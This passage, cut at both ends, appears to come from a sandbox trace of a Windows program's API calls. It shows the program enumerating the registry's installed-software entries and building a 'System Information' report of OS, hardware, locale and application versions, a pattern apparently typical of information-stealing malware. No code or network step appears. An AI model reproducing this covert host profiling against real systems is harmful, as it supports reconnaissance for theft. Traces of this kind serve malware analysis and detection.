lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Office Professional Plus 2016", lpcbData=0x24fac4*=0x50) returned 0x0 [0261.773] LocalAlloc (uFlags=0x40, uBytes=0x20a0) returned 0x6f35b0 [0261.773] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.773] StrStrW (lpFirst="Microsoft Office Professional Plus 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.773] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n") returned 56 [0261.773] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n", lpSrch="\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n") returned 0x0 [0261.773] lstrlenW (lpString="\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n") returned 56 [0261.773] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n") returned 1111 [0261.773] LocalAlloc (uFlags=0x40, uBytes=0xa1e) returned 0x6bec00 [0261.774] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.774] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.775] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.775] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.775] LocalFree (hMem=0x6e5a10) returned 0x0 [0261.775] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5058 [0261.775] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0xa, lpName=0x6e5058, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="SchedulingAgent", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.775] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="SchedulingAgent", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.775] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.775] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.775] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0261.776] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.776] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.776] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.776] LocalFree (hMem=0x6e5058) returned 0x0 [0261.776] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5058 [0261.776] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0xb, lpName=0x6e5058, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="WIC", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.776] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="WIC", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.777] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.777] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.777] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0261.777] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.777] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.777] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.778] LocalFree (hMem=0x6e5058) returned 0x0 [0261.778] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5058 [0261.778] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0xc, lpName=0x6e5058, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{0FA68574-690B-4B00-89AA-B28946231449}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.778] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{0FA68574-690B-4B00-89AA-B28946231449}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.778] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.778] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.778] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508", lpcbData=0x24fac4*=0x7e) returned 0x0 [0261.778] LocalAlloc (uFlags=0x40, uBytes=0x20fc) returned 0x6f35b0 [0261.778] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="14.25.28508", lpcbData=0x24facc*=0x18) returned 0x0 [0261.778] StrStrW (lpFirst="Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508", lpSrch="14.25.28508") returned="14.25.28508" [0261.778] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n") returned 65 [0261.778] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n", lpSrch="\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n") returned 0x0 [0261.778] lstrlenW (lpString="\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n") returned 65 [0261.778] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n") returned 1167 [0261.778] LocalAlloc (uFlags=0x40, uBytes=0xaa0) returned 0x6e6060 [0261.779] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.779] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.780] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.780] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.780] LocalFree (hMem=0x6e5058) returned 0x0 [0261.780] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5058 [0261.780] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0xd, lpName=0x6e5058, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.780] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.780] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.781] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.781] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpcbData=0x24fac4*=0x76) returned 0x0 [0261.781] LocalAlloc (uFlags=0x40, uBytes=0x20ec) returned 0x6f35b0 [0261.781] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="12.0.21005", lpcbData=0x24facc*=0x16) returned 0x0 [0261.781] StrStrW (lpFirst="Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpSrch="12.0.21005") returned="12.0.21005" [0261.781] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n") returned 61 [0261.781] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n", lpSrch="\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n") returned 0x0 [0261.781] lstrlenW (lpString="\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n") returned 61 [0261.781] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n") returned 1232 [0261.781] LocalAlloc (uFlags=0x40, uBytes=0xb1a) returned 0x6bec00 [0261.782] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.782] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.782] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.782] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.783] LocalFree (hMem=0x6e5058) returned 0x0 [0261.783] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5058 [0261.783] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0xe, lpName=0x6e5058, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.783] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.783] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.783] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.783] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0261.783] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.784] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.784] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.784] LocalFree (hMem=0x6e5058) returned 0x0 [0261.784] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5058 [0261.784] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0xf, lpName=0x6e5058, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.784] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.785] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.785] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.785] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0261.785] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.786] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.786] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.786] LocalFree (hMem=0x6e5058) returned 0x0 [0261.786] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5058 [0261.786] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x10, lpName=0x6e5058, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.786] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.786] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.786] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.786] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0261.787] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.787] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.787] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.787] LocalFree (hMem=0x6e5058) returned 0x0 [0261.787] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5058 [0261.787] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x11, lpName=0x6e5058, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.788] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.788] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.788] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.788] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0261.788] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.790] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.790] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.790] LocalFree (hMem=0x6e5058) returned 0x0 [0261.790] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5058 [0261.790] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x12, lpName=0x6e5058, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.790] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.790] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.790] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.790] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0261.791] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.791] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.791] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.791] LocalFree (hMem=0x6e5058) returned 0x0 [0261.791] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5058 [0261.792] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x13, lpName=0x6e5058, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.792] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.792] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.792] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.792] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0261.792] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.792] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.793] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.793] LocalFree (hMem=0x6e5058) returned 0x0 [0261.793] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5058 [0261.793] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x14, lpName=0x6e5058, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.793] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.793] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.793] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.793] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0261.794] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.794] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.794] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.794] LocalFree (hMem=0x6e5058) returned 0x0 [0261.794] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5058 [0261.795] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x15, lpName=0x6e5058, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.795] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.795] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.795] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.795] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual 